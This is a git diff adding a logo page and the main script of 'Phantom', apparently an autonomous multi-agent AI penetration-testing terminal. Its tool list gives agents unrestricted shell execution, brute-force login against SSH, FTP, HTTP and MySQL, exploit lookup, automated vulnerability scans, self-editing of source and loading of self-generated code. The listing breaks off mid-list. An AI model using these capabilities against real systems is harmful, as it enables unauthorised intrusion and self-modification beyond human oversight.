0000000000000000000000000000000000000000..5438d4d312ad2fe647a7618cc7089192231e4271 --- /dev/null +++ b/phantom-logo.html @@ -0,0 +1,294 @@ +<!DOCTYPE html> +<html> +<head> +<meta charset="utf-8"> +<title>PHANTOM — Hoodie Hacker Logo + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ~ $ whoami + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CYBERSECURITY · AI + + + + PHANTOM + + + + + + + v0.2.0 /* autonomous cyber AI */ + + + +
+ + diff --git a/phantom.mjs b/phantom.mjs new file mode 100755 index 0000000000000000000000000000000000000000..1cc1ab8e42682bc2b6b3a1bc4f5703b48bfd4ba3 --- /dev/null +++ b/phantom.mjs @@ -0,0 +1,3895 @@ +#!/usr/bin/env node +// Phantom — space evolving multi-agent terminal +// Zero dependencies. Run: node phantom.mjs + +import fs from "fs"; +import http from "http"; +import { homedir, release } from "os"; +import { resolve, join } from "path"; +import { pathToFileURL } from "url"; +import { createRequire } from "module"; +const $r = createRequire(import.meta.url); + +import { BASE_DIR, MEMORY_DIR, KNOWLEDGE_DIR, BOOKS_DIR, TOOLS_DIR, REPORTS_DIR, PLAYBOOKS_DIR, PHANTOM_VERSION } from "./lib/config.mjs"; +import { __r, runTool, runPipe, runScheduledScan } from "./lib/runtime.mjs"; +import { log } from "./lib/logger.mjs"; +import { renderLogo, renderBanner, prompt, icons, createSpinner, chatBorder } from "./lib/visual.mjs"; +import { TUI } from "./lib/tui.mjs"; +import { hackerTools } from "./lib/tools.mjs"; +import { initApiDeps, startApiServer, startGuiDashboard, setChatAgent } from "./lib/server.mjs"; +import { autoEvolve, startupEvolve, getEvolveStatus, analyzeError, loadAutoTools } from "./lib/evolve.mjs"; +import { populateEnv, autoInstallSecurity } from "./lib/env.mjs"; +import { saveSession, loadSession, autoLinkFromBooks } from "./lib/session.mjs"; + +// ── Merge auto-generated tools into hackerTools ── +// Runs once at module init so all agents & CLIs pick them up. +loadAutoTools().then(at => { + const added = []; + for (const [name, fn] of Object.entries(at)) { + if (!hackerTools[name]) { + hackerTools[name] = fn; + added.push(name); + } + } + if (added.length > 0 && !process.argv.includes("--json")) { + process.stderr.write(`[auto-tools] merged ${added.length} tool(s): ${added.join(", ")}\n`); + } +}).catch(() => {}); + +// ── Merge self-improvement learned modules into hackerTools ── +// Generated during improvement cycles, copied to lib/learned/ +const LEARNED_DIR = resolve(new URL(".", import.meta.url).pathname, "lib", "learned"); +(async () => { + try { + if (!fs.existsSync(LEARNED_DIR)) return; + const files = fs.readdirSync(LEARNED_DIR).filter(f => f.endsWith(".mjs")); + if (files.length === 0) return; + let count = 0; + for (const file of files) { + try { + const name = file.replace(/\.mjs$/, ""); + if (hackerTools[name]) continue; // don't override existing + const mod = await import(resolve(LEARNED_DIR, file) + `?t=${Date.now()}`); + const fn = mod.default || mod.execute; + if (typeof fn === "function") { + hackerTools[name] = fn; + count++; + } + } catch {} + } + if (count > 0 && !process.argv.includes("--json")) { + process.stderr.write(`[self-improve] loaded ${count} learned module(s)\n`); + } + } catch {} +})(); + +// ── Config ───────────────────────────────────────────────── +let _config = {}; + +// Load config from project root first (for USB portability), then from ~/.config/phantom +const PROJECT_ROOT = resolve(new URL(".", import.meta.url).pathname); +const projectConfigPath = resolve(PROJECT_ROOT, "config.json"); +const userConfigPath = resolve(BASE_DIR, "config.json"); + +// Deep merge: user config overrides project config +function deepMerge(target, source) { + const result = { ...target }; + for (const key of Object.keys(source)) { + if (source[key] && typeof source[key] === "object" && !Array.isArray(source[key]) && + target[key] && typeof target[key] === "object" && !Array.isArray(target[key])) { + result[key] = deepMerge(target[key], source[key]); + } else { + result[key] = source[key]; + } + } + return result; +} + +let projectConfig = {}; +try { + if (fs.existsSync(projectConfigPath)) { + projectConfig = JSON.parse(fs.readFileSync(projectConfigPath, "utf-8")); + } +} catch {} + +let userConfig = {}; +try { + if (fs.existsSync(userConfigPath)) { + userConfig = JSON.parse(fs.readFileSync(userConfigPath, "utf-8")); + } +} catch {} + +_config = deepMerge(projectConfig, userConfig); +__r._config = _config; +if (_config.VT_API_KEY && !process.env.VT_API_KEY) process.env.VT_API_KEY = _config.VT_API_KEY; +// Load all provider API keys from config +const PROVIDER_KEYS = ["OPENAI_API_KEY","ANTHROPIC_API_KEY","GEMINI_API_KEY","GROQ_API_KEY","DEEPSEEK_API_KEY","MISTRAL_API_KEY","OPENROUTER_API_KEY","SHODAN_API_KEY","HIBP_API_KEY","OPENCODE_ZEN_API_KEY"]; +for (const k of PROVIDER_KEYS) { if (_config[k] && !process.env[k]) process.env[k] = _config[k]; } +// Selected provider: env > config > "openai" +let PHANTOM_LLM_PROVIDER = process.env.PHANTOM_LLM_PROVIDER || _config.default_provider || "openai"; +__r.PHANTOM_LLM_PROVIDER = PHANTOM_LLM_PROVIDER; +function setProvider(name) { PHANTOM_LLM_PROVIDER = name; process.env.PHANTOM_LLM_PROVIDER = name; _config.default_provider = name; __r.PHANTOM_LLM_PROVIDER = name; try { fs.writeFileSync(userConfigPath, JSON.stringify(_config, null, 2)); } catch {} } +__r.setProvider = setProvider; + +// LLM instance — set after createProvider() +let llmInstance = null; + +function ensureDirs() { + if (!fs.existsSync(MEMORY_DIR)) fs.mkdirSync(MEMORY_DIR, { recursive: true }); + if (!fs.existsSync(KNOWLEDGE_DIR)) fs.mkdirSync(KNOWLEDGE_DIR, { recursive: true }); + if (!fs.existsSync(BOOKS_DIR)) fs.mkdirSync(BOOKS_DIR, { recursive: true }); + if (!fs.existsSync(TOOLS_DIR)) fs.mkdirSync(TOOLS_DIR, { recursive: true }); +} + +function saveMemory(name, memory) { + try { + ensureDirs(); + const filePath = resolve(MEMORY_DIR, `${name}.json`); + fs.writeFileSync(filePath, JSON.stringify(memory, null, 2), "utf-8"); + } catch (e) {} +} + +function loadMemory(name) { + try { + ensureDirs(); + const filePath = resolve(MEMORY_DIR, `${name}.json`); + if (!fs.existsSync(filePath)) return []; + return JSON.parse(fs.readFileSync(filePath, "utf-8")); + } catch (e) { return []; } +} + +// ── Terminal raw mode helpers ───────────────────────── +function saveKnowledge(name, knowledge) { + try { + ensureDirs(); + const filePath = resolve(KNOWLEDGE_DIR, `${name}.txt`); + fs.writeFileSync(filePath, knowledge, "utf-8"); + } catch (e) {} +} + +function loadKnowledge(name) { + try { + ensureDirs(); + const filePath = resolve(KNOWLEDGE_DIR, `${name}.txt`); + if (!fs.existsSync(filePath)) return ""; + return fs.readFileSync(filePath, "utf-8"); + } catch { return ""; } +} + +// ── Auto-Learning: extract knowledge from tool output ───── +function learnFromTool(tool, result, args) { + if (!result || result.length < 20) return; + try { + // Derive a target name from args + let target = (args || "").replace(/^https?:\/\//, "").split(/[/\s|]/)[0].trim(); + // BUGFIX: was "target.includes('.')" which is always true for domains + if (!target || target.length > 64 || !target.includes(".")) { + // No dot = probably not a domain → use tool name as bucket + target = tool; + } + const sanitized = target.replace(/[^a-zA-Z0-9._-]/g, "_").substring(0, 48); + const tag = `${sanitized}_${tool}`; + + const facts = []; + const text = typeof result === "string" ? result : String(result); + + // Subdomains (exclude IPs, CVEs) + const subs = text.match(/([a-zA-Z0-9][-a-zA-Z0-9]*\.)+(com|net|org|io|gov|edu|dev|app|xyz|co|uk|ru|cn|de|jp|fr|au|us|in|br|nl|eu)\b/g); + if (subs) { + const uniq = [...new Set(subs.filter(s => !s.startsWith("CVE") && !s.startsWith("cve") && !/^\d/.test(s)))]; + if (uniq.length > 0) facts.push(`subs: ${uniq.slice(0, 30).join(" ")}`); + } + + // IPs + const ips = text.match(/\b(?:\d{1,3}\.){3}\d{1,3}\b/g); + if (ips) facts.push(`ips: ${[...new Set(ips)].slice(0, 30).join(" ")}`); + + // CVEs + const cves = text.match(/CVE-\d{4}-\d{4,7}/gi); + if (cves) facts.push(`cves: ${[...new Set(cves)].slice(0, 15).join(" ")}`); + + // Open ports (e.g. "80/tcp open" or "port 443 open") + const ports = text.match(/\b(\d{1,5})\/(?:tcp|udp)\s+open\b/g); + if (ports) facts.push(`ports: ${ports.map(p => p.split("/")[0]).slice(0, 30).join(" ")}`); + + if (facts.length > 0) { + const existing = loadKnowledge(tag); + const newEntry = `[${new Date().toISOString().slice(0, 19)}] ${facts.join("; ")}`; + // Dedup: do not append if identical entry already exists anywhere in the file + if (existing && existing.split("\n").some(l => l.trim() === newEntry)) { + return facts.length; // already saved, skip + } + const combined = existing ? `${existing}\n${newEntry}` : newEntry; + // Keep last 50 entries + const lines = combined.split("\n").slice(-50); + saveKnowledge(tag, lines.join("\n")); + return facts.length; // how many fact types extracted + } + } catch { /* silent — learning is best-effort */ } + return 0; +} + +function saveDynamicTool(toolName, code) { + ensureDirs(); + const fileName = `dynamic_${toolName.toLowerCase().replace(/[^a-z0-9_]/g, "_")}.js`; + const filePath = join(TOOLS_DIR, fileName); + let fileContent = code; + if (!code.includes("export async function execute") && !code.includes("export function execute") && !code.includes("export default")) { + fileContent = `export async function execute(input) { ${code} }`; + } + fs.writeFileSync(filePath, fileContent, "utf-8"); + return filePath; +} + +// ── Surface-level learned knowledge for system prompt injection ── +function loadLearned() { + try { + ensureDirs(); + const parts = []; + + // 1. Books — title + line count only, no content + const bookFiles = fs.existsSync(BOOKS_DIR) ? fs.readdirSync(BOOKS_DIR).filter(f => f.endsWith(".txt") && !f.startsWith("_")) : []; + for (const f of bookFiles.slice(0, 8)) { + const content = fs.readFileSync(resolve(BOOKS_DIR, f), "utf-8").trim(); + if (content) { + const tag = f.replace(/\.txt$/, "").replace(/_/g, " "); + const lines = content.split("\n").length; + const title = content.split("\n")[0]?.replace(/^#+\s*/, "").substring(0, 60) || tag; + parts.push(`📖 ${tag} (${lines} lines — ${title})`); + } + } + + // 2. Knowledge findings — file count + last timestamp only + const kFiles = fs.existsSync(KNOWLEDGE_DIR) ? fs.readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".txt")) : []; + if (kFiles.length > 0) { + const total = kFiles.length; + let entries = 0; + for (const f of kFiles) { + const c = fs.readFileSync(resolve(KNOWLEDGE_DIR, f), "utf-8"); + entries += c.split("\n").filter(Boolean).length; + } + parts.push(`🔍 ${total} target files, ${entries} findings total (use @brain to search)`); + } + + return parts.join("\n"); + } catch { return ""; } +} + +// ── Self-Learning: extract and save techniques from any content ── +let _studyCycle = 0; + +function recordTechnique(content, source) { + if (!content || content.length < 80) return; + try { + ensureDirs(); + // Smart sentence split: preserve IPs, CVEs, version numbers + // Split on ". " (period+space) or ".\n" or "!\n" — not on bare "." + const sentences = content + .replace(/\n{2,}/g, ". \n") // paragraph breaks = sentence break + .split(/(?<=[.!])\s+(?=[A-Z0-9#])/) // split on . / ! followed by capital/num + .map(s => s.trim().replace(/^["']|["']$/g, "")) + .filter(s => { + if (s.length < 60 || s.length > 600) return false; + if (s.includes("@") || s.includes("```")) return false; + // Must have actual content — not just a fragment + return /[A-Za-z]{4,}/.test(s); + }) + .slice(0, 8); + if (sentences.length === 0) return; + + const tag = `auto_${source.replace(/[^a-z0-9]/gi, "_").substring(0, 20)}`; + const filePath = resolve(BOOKS_DIR, `${tag}.txt`); + const timestamp = new Date().toISOString().slice(0, 19); + const entry = `## Auto-learned: ${source} (${timestamp})\n${sentences.map(s => `- ${s}`).join("\n")}\n\n`; + + const existing = fs.existsSync(filePath) ? fs.readFileSync(filePath, "utf-8") : ""; + // Deduplicate: skip if last 3 entries are similar (80%+ overlap) + if (existing) { + const lastLines = existing.split("\n").filter(l => l.startsWith("- ")).slice(-3); + const similar = lastLines.filter(ll => { + const overlap = sentences.filter(s => { + const words = new Set(s.toLowerCase().split(/\s+/)); + const lw = new Set(ll.toLowerCase().split(/\s+/)); + const common = [...words].filter(w => lw.has(w)).length; + return common > 3 && common / Math.max(words.size, 1) > 0.6; + }); + return overlap.length > 0; + }); + if (similar.length >= 2) return; // too similar to last entries, skip + } + + const combined = existing ? `${existing}${entry}` : entry; + // Keep last 20 entries max per file + const parts = combined.split("## Auto-learned:"); + const kept = parts.slice(-20); + fs.writeFileSync(filePath, kept.join("## Auto-learned:").trimStart(), "utf-8"); + } catch { /* best-effort */ } +} + +async function consolidateKnowledge() { + try { + ensureDirs(); + // Read all knowledge files and build a meaningful summary + const kFiles = fs.existsSync(KNOWLEDGE_DIR) ? fs.readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".txt")) : []; + if (kFiles.length === 0) return; + + // Build a data-rich synthesis: actual findings, not just counts + const summary = [`## Knowledge Synthesis (${new Date().toISOString().slice(0, 10)})`]; + let totalEntries = 0; + for (const f of kFiles.slice(0, 10)) { + const content = fs.readFileSync(resolve(KNOWLEDGE_DIR, f), "utf-8"); + const entries = content.split("\n").filter(Boolean); + totalEntries += entries.length; + const tag = f.replace(".txt", "").replace(/_/g, " "); + // Show the 2 most recent entries with actual data + const recent = entries.slice(-2); + summary.push(`\n### ${tag} (${entries.length} total)`); + for (const e of recent) summary.push(` ${e}`); + } + summary.push(`\n📊 ${totalEntries} total findings across ${kFiles.length} targets`); + if (kFiles.length > 10) summary.push(`(${kFiles.length - 10} more targets not shown)`); + + const synthesisFile = resolve(BOOKS_DIR, "_synthesis.txt"); + fs.writeFileSync(synthesisFile, summary.join("\n"), "utf-8"); + return summary.join("\n"); + } catch { return ""; } +} + +async function studyCycle(self) { + _studyCycle = (_studyCycle || 0) + 1; + // Every 5th response: consolidation (silent unless first time) + if (_studyCycle % 5 === 0) { + await consolidateKnowledge(); + if (_studyCycle === 5) { + const kCount = fs.existsSync(KNOWLEDGE_DIR) ? fs.readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".txt")).length : 0; + const bCount = fs.existsSync(BOOKS_DIR) ? fs.readdirSync(BOOKS_DIR).filter(f => f.endsWith(".txt")).length : 0; + console.log(` ${c("dim")} ${kCount} knowledge · ${bCount} books${R}`); + } + } + // Every 10th response: save session summary + if (_studyCycle % 10 === 0 && self._growFacts > 0) { + recordTechnique(`Self-learned ${self._growFacts} facts this session.`, "session_summary"); + } +} + +async function loadDynamicTool(filePath, toolName, description) { + const fileUrl = pathToFileURL(filePath).href; + const module = await import(`${fileUrl}?t=${Date.now()}`); + const executeFn = module.execute || module.default; + if (typeof executeFn !== "function") { + throw new Error(`Dynamic tool ${toolName} does not export 'execute' function.`); + } + return { + name: toolName, + description, + execute: async (input, agentCtx) => { + try { + return String(await executeFn(input, agentCtx)); + } catch (err) { + return `[Tool Error in ${toolName}]: ${err.message}`; + } + } + }; +} + +async function loadAllDynamicTools() { + ensureDirs(); + try { + const files = fs.readdirSync(TOOLS_DIR); + const tools = []; + for (const file of files) { + if (file.startsWith("dynamic_") && file.endsWith(".js")) { + const filePath = join(TOOLS_DIR, file); + const name = file.replace("dynamic_", "").replace(".js", ""); + tools.push({ name, description: `Dynamic tool ${name}`, filePath }); + } + } + return tools; + } catch (e) { return []; } +} + +// ── Hacker Tools ────────────────────────────────────────── +// hackerTools moved to lib/tools.mjs + +// ── EventBus ────────────────────────────────────────────── +class EventBus { + static i = new EventBus(); + #h = new Map(); + on(e, fn) { if (!this.#h.has(e)) this.#h.set(e, []); this.#h.get(e).push(fn); } + off(e, fn) { const h = this.#h.get(e); if (h) this.#h.set(e, h.filter(f => f !== fn)); } + emit(e, d) { this.#h.get(e)?.forEach(fn => fn(d)); } +} + +// ── Agent Types ─────────────────────────────────────────── +const ARCHETYPES = [ + { name: "Lyra", role: "coordinator", + persona: "Strategic orchestrator who breaks down complex security tasks, delegates to specialists, and synthesizes results into coherent reports. Controls the big picture." }, + { name: "Nova", role: "recon", + persona: "OSINT and reconnaissance specialist. Expert in DNS analysis, subdomain enumeration, port scanning, WHOIS lookups, web crawling, and attack surface mapping. Discovers the target's digital footprint." }, + { name: "Orion", role: "exploit", + persona: "Vulnerability analysis and exploitation engineer. Expert in CVE research, exploit matching, brute force testing, SQL injection, XSS, and penetration testing. Finds and validates security holes." }, + { name: "Vega", role: "defense", + persona: "Defensive security and monitoring analyst. Expert in log analysis, SSL/TLS audit, CORS testing, JWT analysis, certificate checks, and security hardening. Identifies misconfigurations and weaknesses." }, + { name: "Atlas", role: "researcher", + persona: "Deep knowledge explorer who searches Shodan, VirusTotal, HIBP, GitHub dorks, and public databases for threat intelligence. Gathers context and verifies security findings." }, + { name: "Helios", role: "debugger", + persona: "Systematic problem solver who traces code issues, analyzes files, decodes obfuscated data, and reverse-engineers payloads. Finds root causes of security issues." }, + { name: "Selene", role: "reporter", + persona: "Technical writer and documentation specialist. Creates comprehensive security reports, playbooks, and knowledge base entries. Transforms raw findings into actionable intelligence." }, + { name: "Aether", role: "automator", + persona: "Automation and optimization engineer. Writes scripts, creates pipelines, builds playbooks, and streamlines repetitive security workflows. Makes everything faster and repeatable." }, +]; + +const AGENT_COLORS = [ + [0, 255, 136], [0, 204, 255], [255, 0, 204], [255, 136, 0], + [136, 0, 255], [0, 255, 204], [255, 0, 102], [102, 255, 0], +]; + +let idCounter = 0; +const genId = () => `PH-${(++idCounter).toString(36).toUpperCase().padStart(4, "0")}`; + +// ── LLM Provider ────────────────────────────────────────── +function createProvider() { + const PROVIDERS = { + openai: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens]" : "…"); }, auth: k => ({ "Authorization": `Bearer ${k}` }) }, + anthropic: { url: "https://api.anthropic.com/v1", keyEnv: "ANTHROPIC_API_KEY", defaultModel: "claude-sonnet-4-20250514", chatPath: "/messages", fmt: o => ({ model: o.model, messages: o.messages, max_tokens: 512 }), parse: d => d.content?.[0]?.text || d.content?.toString() || "...", auth: k => ({ "x-api-key": k, "anthropic-version": "2023-06-01" }) }, + gemini: { url: "https://generativelanguage.googleapis.com/v1beta", keyEnv: "GEMINI_API_KEY", defaultModel: "gemini-2.0-flash", chatPath: "/models/{model}:generateContent", fmt: o => ({ contents: o.messages.map(m => ({ role: m.role === "assistant" ? "model" : m.role, parts: [{ text: m.content }] })) }), parse: d => d.candidates?.[0]?.content?.parts?.[0]?.text || "...", auth: () => ({}), urlMod: (u, m, k) => `${u}${m}?key=${k}` }, + groq: { url: "https://api.groq.com/openai/v1", keyEnv: "GROQ_API_KEY", defaultModel: "llama-3.3-70b-versatile", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + deepseek: { url: "https://api.deepseek.com/v1", keyEnv: "DEEPSEEK_API_KEY", defaultModel: "deepseek-chat", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + mistral: { url: "https://api.mistral.ai/v1", keyEnv: "MISTRAL_API_KEY", defaultModel: "mistral-large-latest", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + openrouter: { url: "https://openrouter.ai/api/v1", keyEnv: "OPENROUTER_API_KEY", defaultModel: "anthropic/claude-sonnet-4", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + ollama: { url: process.env.OLLAMA_HOST || "http://localhost:11434", keyEnv: "", defaultModel: "llama3", chatPath: "/api/chat", fmt: o => ({ model: o.model, messages: o.messages, stream: false }), parse: d => d.message?.content?.trim() || "...", auth: () => ({}) }, + opencode: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 256 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens or shorten context]" : "…"); }, auth: k => ({ "Authorization": `Bearer ${k}` }) }, + }; +__r.PROVIDERS = PROVIDERS; + + function getProvider() { + const name = PHANTOM_LLM_PROVIDER || "openai"; + const p = PROVIDERS[name]; + if (!p) return PROVIDERS.openai; // fallback + return p; + } + + function getKey(p) { + if (p.keyEnv) { + const k = process.env[p.keyEnv]; + if (k) return k; + // fallback: check config + if (_config[p.keyEnv]) return _config[p.keyEnv]; + } + return ""; + } + + async function detectProviders() { + const available = {}; + for (const [name, p] of Object.entries(PROVIDERS)) { + if (name === "ollama") { + try { + const r = await fetch(`${p.url}/api/tags`, { signal: AbortSignal.timeout(3000) }); + available[name] = r.ok ? "local" : "no"; + } catch { available[name] = "no"; } + } else { + available[name] = p.keyEnv && getKey(p) ? "key" : "no"; + } + } + return available; + } + + function selectBest(avail) { + const order = ["openai", "ollama", "opencode", "anthropic", "groq", "gemini", "deepseek", "mistral", "openrouter"]; + for (const name of order) { + if (avail[name] && avail[name] !== "no") return name; + } + return null; + } + + return { + get provider() { return PHANTOM_LLM_PROVIDER; }, + set provider(name) { if (PROVIDERS[name]) setProvider(name); }, + get providers() { return Object.keys(PROVIDERS); }, + detectProviders, + selectBest, + get hasLLM() { + const p = getProvider(); + return !!(p.keyEnv ? getKey(p) : p === PROVIDERS.ollama); + }, + chat: async function(messages, opts = {}) { + const p = getProvider(); + const key = getKey(p); + if (p.keyEnv && !key) return `[${PHANTOM_LLM_PROVIDER}] No API key. Set ${p.keyEnv} env or in config.json`; + const model = opts.model || p.defaultModel; + + // Fallback chain on rate limits / errors + const fallbackOrder = ["openai", "anthropic", "groq", "gemini", "deepseek", "mistral", "openrouter", "opencode"]; + let currentProvider = PHANTOM_LLM_PROVIDER; + let lastError = ""; + + for (const providerName of fallbackOrder) { + const provider = PROVIDERS[providerName]; + if (!provider) continue; + + const providerKey = getKey(provider); + if (provider.keyEnv && !providerKey && providerName !== "ollama") continue; + + try { + let url = `${provider.url}${provider.chatPath.replace("{model}", model)}`; + const headers = { "Content-Type": "application/json", ...provider.auth(providerKey) }; + if (provider.urlMod) url = provider.urlMod(url, provider.chatPath.replace("{model}", model), providerKey); + const body = JSON.stringify(provider.fmt({ model, messages })); + + const r = await fetch(url, { method: "POST", headers, body, signal: AbortSignal.timeout(60000) }); + + if (!r.ok) { + const t = await r.text().catch(() => ""); + lastError = `[${providerName} ${r.status}] ${t.substring(0, 200)}`; + + // Fallback on rate limit or service errors + if (r.status === 429 || r.status === 503 || r.status >= 500) { + console.log(`[LLM Fallback] ${providerName} returned ${r.status}, trying next provider...`); + continue; // Try next provider + } + return lastError; + } + + const d = await r.json(); + const result = provider.parse(d) || "..."; + + if (providerName !== currentProvider) { + console.log(`[LLM Fallback] Switched to ${providerName}`); + } + return result; + } catch (e) { + lastError = `[${providerName} err] ${e.message}`; + console.log(`[LLM Fallback] ${providerName} error: ${e.message}, trying next...`); + continue; + } + } + + return `[LLM Fallback] All providers exhausted. Last error: ${lastError}`; + }, + async transcribe(filePath) { + const key = process.env.OPENCODE_ZEN_API_KEY; + if (!key) return "[Transcribe] Set OPENCODE_ZEN_API_KEY"; + try { + const buf = fs.readFileSync(filePath); + const blob = new Blob([buf], { type: "audio/mpeg" }); + const fd = new FormData(); fd.append("file", blob, "audio.mp3"); fd.append("model", "whisper-1"); + const r = await fetch("https://api.openai.com/v1/audio/transcriptions", { method: "POST", headers: { "Authorization": `Bearer ${key}` }, body: fd }); + const d = await r.json(); + return d.text || "[empty]"; + } catch (e) { return `[Transcribe err] ${e.message}`; } + } + }; +} + +// ── Agent ───────────────────────────────────────────────── +class Agent { + constructor(name, role, persona, llm, manager) { + const ac = AGENT_COLORS[idCounter % AGENT_COLORS.length]; + this.id = genId(); + this.name = name; + this.role = role; + this.persona = persona; + this.status = "idle"; + this.color = ac; + this.evolutionLevel = 1; + this.memory = []; + this.caps = []; // capabilities (keyword-matched) + this.tools = {}; // hacker tools (LLM-driven) + this.llm = llm; + this.bus = EventBus.i; + this.manager = manager; // AgentManager reference for delegation + + // Load persisted memory + const slug = this.name.toLowerCase().replace(/[^a-z0-9]/g, "_"); + try { this.memory = loadMemory(slug) || []; } catch {} + this._slug = slug; + + // Register default hacker tools + this.registerHackerTools(); + } + + registerHackerTools() { + const toolList = { + delegate: "Delegate a task to another agent. Format: agent_name|task_description. Agents: Lyra (coordinator), Nova (recon), Orion (exploit), Vega (defense). Use when you need specialized expertise.", + fanout: "Fan-out same task to multiple agents in parallel. Format: agent1,agent2|task. Runs them simultaneously.", + synthesize: "Ask coordinator to merge results. Format: original_request|raw_results.", + parallel: "Auto-parallelize a task: splits complex tasks into independent subtasks and runs them concurrently on Nova (recon), Orion (exploit), Vega (defense). Format: task_description. Use for: running recon+exploit+defense in parallel, scanning multiple targets, multi-pronged approaches.", + grow: "Deep learn from session knowledge. Reads all auto-extracted facts from tool outputs and reports a summary of what Phantom has learned. Use: @grow to see your knowledge base. Run after several tools to consolidate learning.", + learn_book: "Learn from a book or documentation file. Format: |. Reads the file, extracts techniques, stores them permanently. Every future session uses this knowledge.", + learn_url: "Learn from a URL (online docs, tutorials, articles). Format: |. Fetches, extracts knowledge, stores permanently.", + study: "Trigger self-learning report. Shows all book/technique files, knowledge base, and confirms injected knowledge. Use: @study to see what Phantom has learned.", + workspace_write: "Write to shared workspace (all agents can see). Format: key|value.", + workspace_read: "Read from shared workspace. Format: key.", + shell: "Execute ANY shell command on the system. Use for: running tools, scripts, file operations, network scans, system info, package management. Input: shell command string.", + web_search: "Search the internet via DuckDuckGo + Wikipedia. Use for: finding information, researching topics, checking current events, finding documentation. Input: search query.", + web_fetch: "Fetch a URL and return its content (HTML stripped, plain text). Use for: reading web pages, APIs, documentation, checking endpoints. Input: full URL including https://.", + decode: "Auto-detect and decode encoded strings. Tries base64, hex, URL encoding, binary, and ROT13. Use for: decoding obfuscated strings, payloads, and encoded data. Input: the encoded string.", + file_analyze: "Deep file analysis: file type detection by magic bytes, MD5/SHA1/SHA256 hashes, entropy calculation (detects packed/encrypted malware), and printable string extraction. Use for: malware analysis, file forensics, verifying file integrity. Input: absolute file path.", + dns_lookup: "DNS reconnaissance: resolves A, AAAA, MX, NS, TXT, CNAME, and SOA records for a domain. Use for: OSINT, domain recon, infrastructure discovery. Input: domain name (no http://).", + hash: "Compute MD5, SHA1, SHA256 hash of text or a file. Use for: integrity checks, verifying downloads, fingerprinting. Input: text string or file path.", + whois: "WHOIS lookup for a domain. Returns registrar, dates, name servers, contact info. Use for: OSINT, domain investigation. Input: domain name (no http://).", + port_scan: "TCP port scan a host. Scans 30+ common ports by default. Custom: host:port1,port2 or host:start-end. Use for: network recon, vuln assessment. Input: hostname/IP, optionally with port range.", + http_headers: "Fetch HTTP response headers via HEAD request. Shows status, security headers, server info. Use for: web recon, security audit. Input: full URL including https://.", + ssl_check: "Check SSL/TLS certificate: issuer, validity, cipher, SANs, expiry. Use for: cert monitoring, TLS audit. Input: hostname (optionally :port, default 443).", + sub_enum: "Enumerate subdomains via crt.sh certificate transparency logs. Use for: OSINT, attack surface mapping. Input: domain name (no http://).", + crawl: "Crawl a web page: extract all links, forms, and script sources. Use for: web recon, asset discovery. Input: full URL including https://.", + vt_check: "Check file hash against VirusTotal. Shows detection ratio and top malicious engines. Requires VT_API_KEY env var. Input: MD5/SHA1/SHA256 hash.", + yara: "Scan file with YARA rules. Format: rules_file|target, or just target. Use for: malware pattern matching, IOC scanning. Requires yara CLI. Input: rules_and_target.", + recon: "FULL AUTOMATED RECON: runs WHOIS → DNS → subdomains → HTTP headers → SSL → port scan → crawl. Saves timestamped report. Use for: one-shot surface mapping. Input: domain or URL.", + cve_search: "Search NVD (National Vulnerability Database) for CVEs. Shows CVE ID, CVSS score, severity, description. Use for: finding known vulns for software/version. Input: search query (e.g. 'apache 2.4.49').", + searchsploit: "Search for public exploits. Tries local searchsploit CLI, falls back to packetstorm. Use for: finding PoC exploits. Input: search query (e.g. 'WordPress 5.8').", + bruteforce: "Multi-protocol brute force login. Supports SSH, FTP, HTTP POST, MySQL. Format: protocol|target|user|pass1,pass2,pass3. Use for: password testing, credential auditing.", + file_read: "Read the contents of any file. Use for: viewing source code, configs, logs. Input: absolute or relative file path.", + file_write: "Write content to a file (creates or overwrites). Creates parent directories automatically. Use for: saving code, scripts, configs. Format: path|content.", + file_edit: "Find and replace text in a file. Use for: patching code, modifying configs. Format: path|old_string|new_string.", + file_search: "Search file contents for a text pattern (uses ripgrep). Format: [path|]pattern.", + file_list: "List files and directories with sizes. Use for: exploring structure, finding files. Input: directory path.", + self_info: "Show Phantom's version, all tools, runtime, platform, LLM status. Use for: self-awareness, debugging.", + self_read: "Read Phantom's own source files (project-locked). Input: relative path like 'phantom.mjs' or 'src/core/hacker-tools.ts'.", + self_edit: "Edit Phantom's own source code (project-locked). Format: relative_path|old_string|new_string.", + vuln_scan: "FULL VULNERABILITY SCAN: recon → CVE search → exploit search → brute force → comprehensive markdown report. Input: domain or URL.", + report_save: "Save text as a timestamped markdown report. 